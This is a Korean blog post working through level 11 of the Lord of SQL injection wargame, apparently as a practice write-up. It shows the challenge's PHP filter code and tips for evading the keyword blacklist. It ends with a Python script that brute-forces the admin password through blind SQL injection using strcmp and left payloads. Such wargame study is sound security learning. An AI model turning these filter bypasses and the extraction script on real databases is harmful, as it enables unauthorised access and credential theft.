EASY7

LOS 11번 본문

Project/Lord of SQL

LOS 11번

E.asiest 2019. 8. 4. 21:58

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and|substr\(|=/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  
highlight_file(__FILE__); 
?>

 

'='이 안된다면 like를 고려하자.

left대신 mid를 썼다면 코드가 더 간단했을 것이다.

 

*mysql에서는 value의 대소문자를 구분하지 않기 때문에 '88E3137F'로 나오는데..

7번 스크립트에서는 ascii('a')=97 이렇게 숫자로 비교했는데 

이번 스크립트에서는 char(97) = 'a' 알파벳으로 비교했기때문이다. 

 

*브라우저의 url에서는 &가 파라미터 구분자로서 역할을 하기 때문에 &&가 안먹어서 %26%26을  써야한다. (& 뒤로는 인식하지 못함)

파이썬 코드에서는 %26%26을 argument로 인식한다.  &&, \&\& 둘다 안된다.

 

 

 


import requests

URL = "https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php"
cookies = {"PHPSESSID":"piik5dn813632dqai4b7d09fl7"}
password = ""
temp=""
for i in range(1, 9) :
    for j in range(32, 127) :
        temp=password+chr(j)
        print(temp)
        params={'pw' : "hhh\' || !strcmp(left(pw, %d), \'%s\') -- ss " %(i, temp)}
      
        res = requests.get(url=URL, params=params, cookies=cookies)
        if("Hello admin" in res.text):
            password += chr(j)
            break
print("password=" + password)



 

'Project > Lord of SQL' 카테고리의 다른 글

[Lord of SQL] GREMLIN #1  (0) 2020.07.24
LOS 12번 문제  (0) 2019.08.09
Lord of the SQL 10번  (0) 2019.08.04
Lord of the SQL 9번  (0) 2019.08.04
Lord of the SQL 8번  (0) 2019.08.04
Comments